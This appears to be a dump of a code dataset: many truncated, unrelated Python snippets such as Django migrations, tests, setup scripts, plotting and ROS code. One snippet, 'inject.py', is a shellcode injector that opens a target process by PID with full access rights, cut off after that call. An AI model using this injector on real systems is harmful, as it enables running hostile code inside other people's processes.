code
stringlengths
1
199k
from .. utils import TranspileTestCase, BuiltinFunctionTestCase class InputTests(TranspileTestCase): pass
from bokeh.plotting import figure, show x = [1, 2, 3, 4, 5] y = [6, 7, 2, 4, 5] p = figure(title="Simple line example", x_axis_label="x", y_axis_label="y") p.line(x, y, legend_label="Temp.", line_width=2) show(p)
from Chip import OpCodeDefinitions from Tests.OpCodeTests.OpCodeTestBase import OpCodeTestBase class TestRtiOpCode(OpCodeTestBase): def test_execute_rti_implied_command_calls_and_method(self): self.assert_opcode_execution(OpCodeDefinitions.rti_implied_command, self.target.get_rti_command_executed)
""" 26. Invalid models This example exists purely to point out errors in models. """ from __future__ import unicode_literals from django.db import connection, models class FieldErrors(models.Model): charfield = models.CharField() charfield2 = models.CharField(max_length=-1) charfield3 = models.CharField(max...
import sys import os import commands import nipype.pipeline.engine as pe import nipype.algorithms.rapidart as ra import nipype.interfaces.fsl as fsl import nipype.interfaces.io as nio import nipype.interfaces.utility as util from utils import * from CPAC.vmhc import * from nipype.interfaces.afni import preprocess from ...
import mock from rest_framework import serializers from waffle.testutils import override_switch from olympia.amo.tests import ( BaseTestCase, addon_factory, collection_factory, TestCase, user_factory) from olympia.bandwagon.models import CollectionAddon from olympia.bandwagon.serializers import ( CollectionAddo...
from django.utils.safestring import mark_safe from corehq.apps.data_interfaces.dispatcher import EditDataInterfaceDispatcher from corehq.apps.groups.models import Group from django.core.urlresolvers import reverse from corehq.apps.reports import util from corehq.apps.reports.datatables import DataTablesHeader, DataTabl...
import numpy as np import pandas as pd import pytest from sklearn.ensemble import ExtraTreesClassifier from sklearn.impute import SimpleImputer from sklearn.model_selection import GridSearchCV, cross_val_score from sklearn.pipeline import Pipeline from sklearn.preprocessing import FunctionTransformer, StandardScaler fr...
from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('controlled_vocabularies', '0001_initial'), ] operations = [ migrations.AlterField( model_name='property', ...
{% block meta %} name: Base description: SMACH base template. language: Python framework: SMACH type: Base tags: [core] includes: [] extends: [] variables: - - manifest: description: ROS manifest name. type: str - - node_name: description: ROS node name for the state machine. type: str - outcome...
NS_MAP = { 'taxii': 'http://taxii.mitre.org/messages/taxii_xml_binding-1', 'taxii_11': 'http://taxii.mitre.org/messages/taxii_xml_binding-1.1', 'tdq': 'http://taxii.mitre.org/query/taxii_default_query-1', } ns_map = NS_MAP MSG_STATUS_MESSAGE = 'Status_Message' MSG_DISCOVERY_REQUEST = 'Discovery_Request' MSG...
"""Linux specific tests.""" import contextlib import errno import io import os import pprint import re import shutil import socket import struct import tempfile import textwrap import time import warnings try: from unittest import mock # py3 except ImportError: import mock # requires "pip install mock" import...
from django.db import migrations, models import django.contrib.postgres.fields.hstore class Migration(migrations.Migration): dependencies = [ ('hs_core', '0035_remove_deprecated_fields'), ] operations = [ migrations.AddField( model_name='contributor', name='identifier...
import random import sys import time import pytest try: import yajl except ImportError: yajl = None try: import simplejson except ImportError: simplejson = None try: import json except ImportError: json = None try: import rapidjson except ImportError: rapidjson = None try: import ujs...
from __future__ import absolute_import import codecs import os from setuptools import setup, Extension, find_packages from os.path import abspath from sys import version_info as v from setuptools.command.build_ext import build_ext as _build_ext if any([v < (2, 6), (3,) < v < (3, 5)]): raise Exception("Unsupported P...
from copy import deepcopy from operator import mul import joblib import numpy as np from scipy import sparse import pandas as pd import pytest import anndata as ad from anndata._core.index import _normalize_index from anndata._core.views import ArrayView, SparseCSRView, SparseCSCView from anndata.utils import asarray f...
'''use marquise_telemetry to build throughput info as visible from the client e.g.: $ marquse_telemetry broker | marquise_throughput.py ''' import sys from time import * import os import fcntl class TimeAware(object): '''simple timing aware mixin The default implementation of on_tick_change() is to call eve...
DEBUG = False BASEDIR = '' SUBDIR = '' PREFIX = '' QUALITY = 85 CONVERT = '/usr/bin/convert' WVPS = '/usr/bin/wvPS' PROCESSORS = ( 'populous.thumbnail.processors.colorspace', 'populous.thumbnail.processors.autocrop', 'populous.thumbnail.processors.scale_and_crop', 'populous.thumbnail.processors.filters'...
"""Fichier contenant l'action detruire_sortie.""" from primaires.scripting.action import Action from primaires.scripting.instruction import ErreurExecution class ClasseAction(Action): """Détruit une sortie d'une salle.""" @classmethod def init_types(cls): cls.ajouter_types(cls.detruire_sortie, "Sall...
from flask import Flask, render_template, flash, session, redirect, url_for from wtforms import TextAreaField from wtforms.validators import DataRequired from flask.ext.wtf import Form from flask.ext.wtf.recaptcha import RecaptchaField DEBUG = True SECRET_KEY = 'secret' RECAPTCHA_PUBLIC_KEY = '6LeYIbsSAAAAACRPIllxA7wvX...
from django.template import TemplateDoesNotExist, TemplateSyntaxError from django.test import SimpleTestCase from ..utils import setup from .test_extends import inheritance_templates class ExceptionsTests(SimpleTestCase): @setup({'exception01': "{% extends 'nonexistent' %}"}) def test_exception01(self): ...
import collections from .settings import preferences_settings from .exceptions import CachedValueNotFound, DoesNotExist class PreferencesManager(collections.Mapping): """Handle retrieving / caching of preferences""" def __init__(self, model, registry, **kwargs): self.model = model self.registry ...
import unittest import helper.config import mock from vetoes import config class FeatureFlagMixinTests(unittest.TestCase): def test_that_flags_are_processed_during_initialize(self): settings = helper.config.Data({ 'features': {'on': 'on', 'off': 'false'} }) consumer = config.Feat...
import pyaf.Bench.TS_datasets as tsds import tests.artificial.process_artificial_dataset as art art.process_dataset(N = 1024 , FREQ = 'D', seed = 0, trendtype = "PolyTrend", cycle_length = 7, transform = "Logit", sigma = 0.0, exog_count = 20, ar_order = 12);
""" Module containing functions to differentiate functions using tensorflow. """ try: import tensorflow as tf from tensorflow.python.ops.gradients import _hessian_vector_product except ImportError: tf = None from ._backend import Backend, assert_backend_available class TensorflowBackend(Backend): def __...
from __future__ import unicode_literals from django.db import models, migrations import datetime import photolib.models import taggit.managers class Migration(migrations.Migration): dependencies = [ ('taggit', '0001_initial'), ] operations = [ migrations.CreateModel( name='Photo'...
"""empty message Revision ID: 2357b6b3d76 Revises: fecca96b9d Create Date: 2015-10-27 10:26:52.074526 """ revision = '2357b6b3d76' down_revision = 'fecca96b9d' from alembic import op import sqlalchemy as sa def upgrade(): ### commands auto generated by Alembic - please adjust! ### op.add_column('citizen_complai...
import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding field 'Person.education' db.add_column('person_person', 'education', self.gf('django.db.models.fields.Ch...
""" Given a positive integer n and you can do operations as follow: If n is even, replace n with n/2. If n is odd, you can replace n with either n + 1 or n - 1. What is the minimum number of replacements needed for n to become 1? Example 1: Input: 8 Output: 3 Explanation: 8 -> 4 -> 2 -> 1 Example 2: Input: 7 Output: 4 ...
import sys, os sys.path.insert(0, os.path.abspath('..')) extensions = [] templates_path = ['_templates'] source_suffix = '.rst' master_doc = 'index' project = u'django-intercom' copyright = u'2012, Ken Cochrane' sys.path.insert(0, os.pardir) m = __import__("intercom") version = m.__version__ release = version exclude_p...
from log4mongo.handlers import MongoHandler from pymongo.errors import PyMongoError from StringIO import StringIO import unittest import logging import sys class TestMongoHandler(unittest.TestCase): host_name = 'localhost' database_name = 'log4mongo_test' collection_name = 'logs_test' def setUp(self): ...
import logging import os import os.path import shutil import sys import tempfile import unittest import pytest import fiona from fiona.collection import supported_drivers from fiona.errors import FionaValueError, DriverError, SchemaError, CRSError from fiona.ogrext import calc_gdal_version_num, get_gdal_version_num log...
"""Basic infrastructure for extracting localizable messages from source files. This module defines an extensible system for collecting localizable message strings from a variety of sources. A native extractor for Python source files is builtin, extractors for other sources can be added using very simple plugins. The ma...
from django.utils import translation from nose.tools import eq_ from olympia import amo from olympia.amo.tests import TestCase, ESTestCase from olympia.addons.models import Addon from olympia.reviews import tasks from olympia.reviews.models import ( check_spam, GroupedRating, Review, ReviewFlag, Spam) from olympia....
from parlai.core.agents import Agent from torch.autograd import Variable from torch import optim import torch.nn as nn import torch import copy import random class Seq2seqAgent(Agent): """Simple agent which uses an LSTM to process incoming text observations.""" @staticmethod def add_cmdline_args(argparser):...
from datatank_py.DTStructuredGrid2D import DTStructuredGrid2D, _squeeze2d import numpy as np class DTStructuredMesh2D(object): """2D structured mesh object. This class corresponds to DataTank's DTStructuredMesh2D. """ dt_type = ("2D Structured Mesh",) """Type strings allowed by DataTank""" def _...
x = 1 print(x) import time time.sleep(10) print(x)
import errno import os import shutil def mkdir(path, mode=0o777, exist_ok=False): try: os.mkdir(path, mode) except OSError as e: if not exist_ok or e.errno != errno.EEXIST or not os.path.isdir(path): raise def makedirs(path, mode=0o777, exist_ok=False): try: os.makedirs(p...
from django.contrib import admin from django.core.urlresolvers import reverse from vkontakte_api.admin import VkontakteModelAdmin from .models import Album, Video class VideoInline(admin.TabularInline): def image(self, instance): return '<img src="%s" />' % (instance.photo_130,) image.short_description ...
""" This scripts compares the autocorrelation in statsmodels with the one that you can build using only correlate. """ import numpy as np import matplotlib.pyplot as plt import scipy.signal as signal import statsmodels.api as sm from signals.time_series_class import MixAr, AR from signals.aux_functions import sidekick ...
import os.path from flask import url_for from npactflask import app @app.context_processor def vSTATIC(): def STATICV(filename): if app.config['DEBUG']: vnum = os.path.getmtime(os.path.join(app.static_folder, filename)) else: vnum = app.config['VERSION'] return (url_f...
from toyz.web import app from toyz.web import tasks
from StringIO import StringIO from django.test import TestCase from django.test.client import Client from corehq.apps.app_manager.models import Application, APP_V1, Module from corehq.apps.app_manager.success_message import SuccessMessage from corehq.apps.domain.shortcuts import create_domain from corehq.apps.users.mod...
from django import forms from oldcontrib.media.document.models import Document class DocumentUpload(forms.ModelForm): class Meta: model = Document fields = ('document',)
from setuptools import setup, Extension setup( name = "python-libmemcached", version = "0.17.0", description="python memcached client wrapped on libmemcached", maintainer="subdragon", maintainer_email="subdragon@gmail.com", requires = ['pyrex'], # This assumes that libmemcache is installed wit...
from aws_lib import SpinupError import base64 from boto import vpc, ec2 from os import environ from pprint import pprint import re import sys import time from yaml_lib import yaml_attr def read_user_data( fn ): """ Given a filename, returns the file's contents in a string. """ r = '' with open( ...
import sys import os import re def setup_python3(): # Taken from "distribute" setup.py from distutils.filelist import FileList from distutils import dir_util, file_util, util, log from os.path import join, exists tmp_src = join("build", "src") # Not covered by "setup.py clean --all", so explicit...
try: from primitives import Mem except ImportError: from mem import Mem import sys if sys.version >= '3': xrange = range class MMU(): def __init__(self, mem, size=0): """ Initialize MMU """ self._enabled = False self._mem = mem self._wordsize = 4 self._tab...
""" pyfire.contact ~~~~~~~~~~ Handles Contact ("roster item") interpretation as per RFC-6121 :copyright: 2011 by the pyfire Team, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ import xml.etree.ElementTree as ET from sqlalchemy import Table, Column, Boolean, Integer, ...
import sys, os import datetime extensions = ['sphinx.ext.autodoc'] templates_path = ['_templates'] source_suffix = '.rst' master_doc = 'index' project = u'example_project' copyright = u'%d, Lincoln Loop' % datetime.date.today().year version = '1.0' release = '1.0' exclude_trees = ['_build'] pygments_style = 'sphinx' ht...
import os import unittest import sys from splinter import Browser from .base import BaseBrowserTests from .fake_webapp import EXAMPLE_APP from .is_element_present_nojs import IsElementPresentNoJSTest @unittest.skipIf( sys.version_info[0] > 2, "zope.testbrowser is not currently compatible with Python 3", ) class...
from decimal import Decimal from shop.cart.cart_modifiers_base import BaseCartModifier class TextOptionsOptionsCartModifier(BaseCartModifier): ''' This modifier adds an extra field to the cart to let the lineitem "know" about product options and their respective price. ''' def process_cart_item(self...
DEBUG = True TEMPLATE_DEBUG = DEBUG ADMINS = ( ('My Name', 'your_email@domain.com'), ) MANAGERS = ADMINS import tempfile, os from django import contrib tempdata = tempfile.mkdtemp() approot = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) adminroot = os.path.join(contrib.__path__[0], 'admin') DATABASES...
from setuptools import setup setup( name='pfile-tools', version='0.5.0', author='Nathan Vack', author_email='njvack@wisc.edu', license='BSD License', url='https://github.com/njvack/pfile-tools', packages=['pfile_tools'], entry_points={ 'console_scripts': [ 'dump_pfile...
from __future__ import absolute_import, division, print_function, unicode_literals import pytest ; pytest from bokeh.colors import named from bokeh.palettes import __palettes__ import bokeh.core.enums as bce def test_Enumeration_default(): e = bce.Enumeration() assert e.__slots__ == () class Test_enumeration(ob...
""" Methods for exporting mediawiki pages & images to a dokuwiki data/ directory. Tested with Dokuwiki 2014-05-05 "Ponder Stibbons". Copyright (C) 2014 Angus Gratton Licensed under New BSD License as described in the file LICENSE. """ from __future__ import print_function, unicode_literals, absolute_import, division im...
from __future__ import unicode_literals from __future__ import division from __future__ import absolute_import from __future__ import print_function import logging log = logging.getLogger(__name__) from .trajectories import Trajectories try: # pragma: no cover from . import draw __all__ = ['Trajectories', 'dra...
from setuptools import setup import os execfile(os.path.join('sheetsync','version.py')) with open('README.rst') as fh: long_description = fh.read() with open('requirements.txt') as fh: requirements = [line.strip() for line in fh.readlines()] setup( name='sheetsync', version=__version__, description=...
from django.db.models import manager from .query import QuerySet __all__ = 'Manager', class Manager(manager.Manager.from_queryset(QuerySet)): use_for_related_fields = True use_in_migrations = True
from __future__ import unicode_literals from django.db import models, migrations import django.utils.timezone from django.conf import settings import django.core.validators class Migration(migrations.Migration): dependencies = [ ('auth', '0001_initial'), ] operations = [ migrations.CreateMod...
from swgpy.object import * def create(kernel): result = Building() result.template = "object/building/poi/shared_endor_ewok_medium4.iff" result.attribute_template_id = -1 result.stfName("poi_n","base_poi_building") #### BEGIN MODIFICATIONS #### #### END MODIFICATIONS #### return result
from Queue import * import threading import atexit remote_action_PowerOn = RemoteAction() remote_action_PowerOff = RemoteAction() remote_action_SetInput = RemoteAction() def local_action_activate(x = None): '''{ "title": "Turn on", "desc": "Turn on." }''' queue.put({'function': 'remote_action_PowerOn', 'delay': 120...
'''The Example from Huang and Darwiche's Procedural Guide''' from __future__ import division from bayesian.factor_graph import * from bayesian.utils import make_key def f_a(a): return 1 / 2 def f_b(a, b): tt = dict( tt=0.5, ft=0.4, tf=0.5, ff=0.6) return tt[make_key(a, b)] de...
def plotLearningCurve(Xtrn, Ytrn, model, param_name, param_range): ''' Plot the bias/variance tradeoff for a given model. This curve is the training and test error (via split) of the model as a function of model complexity. Wrapper for validation_curve in sklearn. --- I: O: Plot of the b...
from __future__ import unicode_literals from sqlalchemy.ext.declarative import declared_attr from indico.core.db import db from indico.core.db.sqlalchemy import UTCDateTime from indico.core.db.sqlalchemy.descriptions import RenderMode, RenderModeMixin from indico.util.date_time import now_utc class ReviewCommentMixin(R...
"""blah.""" from pyiem.util import get_dbconn pgconn = get_dbconn("idep") cursor = pgconn.cursor() cursor.execute( """ SELECT r.hs_id, r.huc_12, p.fpath, extract(year from valid) as yr, sum(runoff) as sum_runoff, sum(loss) as sum_loss, sum(delivery) as sum_delivery from results r JOIN flowpaths p on (r.hs_i...
import functools import sys import traceback from stacked import Stacked from .xtraceback import XTraceback class TracebackCompat(Stacked): """ A context manager that patches the stdlib traceback module Functions in the traceback module that exist as a method of this class are replaced with equivalents ...
import urllib2, json, time, sys from datetime import date, datetime from dateutil.rrule import rrule, DAILY from optparse import OptionParser parser = OptionParser() parser.add_option("-f", dest="fahrenheit", action="store", default=False, type="string", help="Convert to FAHRENHEIT") parser.add_option("-e", dest="end",...
import unittest import slack.http_client from slack.exception import SlackError, \ InvalidAuthError, \ NotAuthedError, \ AccountInactiveError, \ ChannelNotFoundError, \ ChannelArch...
import ShareYourSystem as SYS MyParenter=SYS.ParenterClass( ).array( [ ['-Layers'], ['|First','|Second'], ['-Neurons'], ['|E','|I'] ] ).command( '+-.values+|.values', '#call:parent', _AfterWalkRigidBool=True ).command( '+-.values+|.values', { '#bound:recruit':lambda _InstanceVariable:_In...
import numpy import chainer from chainer import backend from chainer import configuration import chainer.functions as F from chainer import link_hook import chainer.links as L from chainer import variable import chainerx from chainerx import _fallback_workarounds as fallback def l2normalize(xp, v, eps): """Normaliz...
from SimpleTCPClient import SimpleTCPClient from SimpleTCPClientException import HTTPError, URLError __all__ = [SimpleTCPClient, HTTPError, URLError]
import sys as _sys import ast as _ast from ast import boolop, cmpop, excepthandler, expr, expr_context, operator from ast import slice, stmt, unaryop, mod, AST def _make_node(Name, Fields, Attributes, Bases): def create_node(self, *args, **kwargs): nbparam = len(args) + len(kwargs) assert nbparam in...
import cv2 from . import print_image from . import plot_image def invert(img, device, debug=None): """Inverts grayscale images. Inputs: img = image object, grayscale device = device number. Used to count steps in the pipeline debug = None, print, or plot. Print = save to file, Plot = print to...
def token_encryption_algorithm(): return 'HS256'
import re import quantities as pq from numbers import NumberService class ConversionService(object): __exponents__ = { 'square': 2, 'squared': 2, 'cubed': 3 } def _preprocess(self, input): def handleExponents(input): m = re.search(r'\bsquare (\w+)', input) ...
from functionaltest import FunctionalTest class Test_2595_Throbber(FunctionalTest): def test_spinner_appears_during_recalcs(self): # * Harold likes to know when dirigible is working hard on his calculations # * He logs in and creates a new sheet self.login_and_create_new_sheet() # * ...
import select import socket from nbNetUtils import DEBUG, dbgPrint __all__ = ["nbNet"] class STATE: def __init__(self): self.state = "accept" # 定义状态 self.have_read = 0 # 记录读了的字节 self.need_read = 10 # 头文件需要读取10个字节 self.have_write = 0 # 记录读了的字节 self.need_write = 0 # 需要写的字节...
''' Created on 20 Sep 2013 @author: jowr ''' from pyrp.refpropClasses import RefpropSI import CoolProp.CoolProp as cp p = 30000 T = 273.15 ref = False if ref: xkg = [0.473194694453358, 0.205109095413331, 0.321696210133311] names = "R32|R125|R134a" RP = RefpropSI() RP.SETUPFLEX(xkg=xkg, FluidNames=names)...
""" mp3.py Reads information from an mp3 file. This is a python port of code taken from the mpg123 input module of xmms. """ import struct def header(buf): return struct.unpack(">I",buf)[0] def head_check(head): if ((head & 0xffe00000L) != 0xffe00000L): return 0 if (not ((head >> 17) & 3)): ...
def listDeal(list): listString = '' for i in range(0,len(list)): print(i) if i!=(len(list)-1): listString += list[i]+','; else: listString += 'and '+list[i] print(listString) spam = ['apples','bananas','tofu','cats'] listDeal(spam)
import os,sys,glob,re import numpy as np import scipy from scipy import stats import datetime import time from datetime import timedelta from scipy.stats.kde import gaussian_kde from numpy import linspace from scipy.stats import kruskal import pandas as pd import statsmodels.api as sm from scipy.stats import mstats non...
import numpy as np import sys import os from utils import * from utils_procs import * _, input_fname = sys.argv input_path = '../story/' train_test_ratio = .9 def get_word_level_rep(text, output_path, train_test_ratio): # convert to word-level representation indices, _, words_dict = text_2_one_hot(text) index_str...
import sys import datetime from threading import Thread class ProcPing(Thread): def __init__(self, name, data, qtdMsg): Thread.__init__(self) self.name = name self.data = data self.qtdMsg = qtdMsg self.mailBox = [] def setPeer(self, Peer): self.Peer = Peer def send(self, dado): self.Peer.mailBox = dado...
import unittest from broca.tokenize import keyword, util, LemmaTokenizer class KeywordTokenizeTests(unittest.TestCase): def setUp(self): self.docs = [ 'This cat dog is running happy.', 'This cat dog runs sad.' ] def test_overkill(self): expected_t_docs = [ ...
from lxml import etree from okcupyd import xpath def test_selected_attribute(): node = xpath.XPathNode(element='element', selected_attribute='value') assert node.xpath == '//element/@value' tree = etree.XML("<top><container><element value='1'>" "</element><element value='2'></element>" ...
import pygame from Game.Shared import GameConstants from Game.Bricks import Brick from Game.Ball import Ball class BallSpawningBrick(Brick): def __init__(self, position, game, points=400, color=(150, 150, 150), sprite=pygame.Surface(GameConstants.BRICK_SIZE)): super(BallSpawningBrick, self)...
from som.interp_type import is_ast_interpreter from som.primitives.primitives import Primitives from som.vm.globals import trueObject, falseObject, nilObject from som.vmobjects.primitive import UnaryPrimitive, BinaryPrimitive, TernaryPrimitive if is_ast_interpreter(): from som.vmobjects.block_ast import AstBlock as...
from swgpy.object import * def create(kernel): result = Intangible() result.template = "object/draft_schematic/droid/component/shared_advanced_droid_frame.iff" result.attribute_template_id = -1 result.stfName("string_id_table","") #### BEGIN MODIFICATIONS #### #### END MODIFICATIONS #### return result
import rospy from geometry_msgs.msg import Twist def callback_function(data): #FILL IN HERE global publisher_name, msg msg.linear.x = -data.linear.x msg.angular.z = -data.angular.z publisher_name.publish(msg) def subscriber_name(): # Initialize node rospy.init_node('subscriber_name', anonymo...
from django.http import HttpRequest from django.conf import settings from django.utils.translation import ugettext_lazy as _ try: from allauth.account import app_settings as allauth_settings from allauth.utils import (email_address_exists, get_username_max_length) from allauth...
import binascii import sys from ctypes import * if len(sys.argv) < 3: print("usage inject.py <shellcodefile.bin> <pid>") sys.exit(1) file = open(sys.argv[1],'rb') buff=file.read() file.close() print("buffer length = ") print(len(buff)) print("pid = "+sys.argv[2]) handle = windll.kernel32.OpenProcess(0x1f0fff,0, int(...
import os PROJECT_ROOT = os.path.dirname(__file__) DEBUG = True TEMPLATE_DEBUG = DEBUG ADMINS = ( # ('Your Name', 'your_email@domain.com'), ) MANAGERS = ADMINS DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', # Add 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'. ...
import zmq class JRPC: def __init__(self): self.id = 0 def make_noti(self, method, params=None): noti = {"jsonrpc":"2.0", "method":method} if params is not None: noti["params"] = params return noti def make_req(self, method, params=None): req = self.make_noti(method, params) req["id"] = self.id self...
""" Discover Cambridge Audio StreamMagic devices. """ from . import SSDPDiscoverable class Discoverable(SSDPDiscoverable): """Add support for discovering Cambridge Audio StreamMagic devices.""" def get_entries(self): """Get all Cambridge Audio MediaRenderer uPnP entries.""" return self.find_by_d...
"""Script to display a collection of paths after inserting one new path Usage: add_to_a_path.py [-U] PATHS PATH add_to_a_path.py [-U] (-s | -i INDEX ) PATHS PATH Options: -h, --help Show this help and exit -v, --version Show version number and exit -s, --start A...
import os.path import SCons.Tool import aql _Warning = aql.Warning _Tool = SCons.Tool.Tool def generate( env ): toolsets = ( "aql_tool_gcc", "aql_tool_msvc", #~ "aql_tool_bcc" ) for tool in toolsets: tool = _Tool( tool ) ...
from setuptools import setup from os import path, environ from sys import argv here = path.abspath(path.dirname(__file__)) try: if argv[1] == "test": environ['PYTHONPATH'] = here except IndexError: pass with open(path.join(here, 'README.rst'), encoding='utf-8') as f: long_description = f.read() setu...
from __future__ import with_statement import unittest from xml.etree.ElementTree import fromstring from xmlbuilder import XMLBuilder def xmlStructureEqual(xml1,xml2): tree1 = fromstring(xml1) tree2 = fromstring(xml2) return _xmlStructureEqual(tree1,tree2) def _xmlStructureEqual(tree1,tree2): if tree1.ta...
import autoslug.fields import common.utils import datetime from django.conf import settings import django.contrib.postgres.fields from django.db import migrations, models import django.db.models.deletion from django.utils.timezone import utc import open_humans.storage import private_sharing.models class Migration(migra...